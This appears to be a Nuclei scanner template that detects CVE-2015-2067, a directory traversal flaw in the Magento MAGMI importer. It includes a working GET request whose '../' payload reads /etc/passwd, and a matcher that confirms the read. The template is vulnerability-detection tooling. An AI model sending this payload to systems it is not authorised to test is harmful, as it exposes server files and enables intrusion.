id: CVE-2015-2067

info:
  name: Magento Server MAGMI - Directory Traversal
  author: daffainfo
  severity: medium
  description: Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Apply the latest security patches and updates provided by Magento.
  reference:
    - https://www.exploit-db.com/exploits/35996
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2067
    - http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-2067
    cwe-id: CWE-22
    epss-score: 0.76384
    epss-percentile: 0.98957
    cpe: cpe:2.3:a:magmi_project:magmi:-:*:*:*:*:magento_server:*:*
  metadata:
    max-request: 1
    vendor: magmi_project
    product: magmi
    framework: magento_server
    shodan-query:
      - http.component:"Magento"
      - http.component:"magento"
  tags: cve2015,cve,plugin,edb,packetstorm,lfi,magento,magmi,magmi_project,magento_server,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100abeea3cb6567f7840c0cc82b9b9d7af52a70b7e1f59c51d5264a27cf18cd205c022100928892633622e1fc946bf87b7357609fc8989f8aff4cce87a21f6d404df2fb23:922c64590222798bb761d5b6d8e72950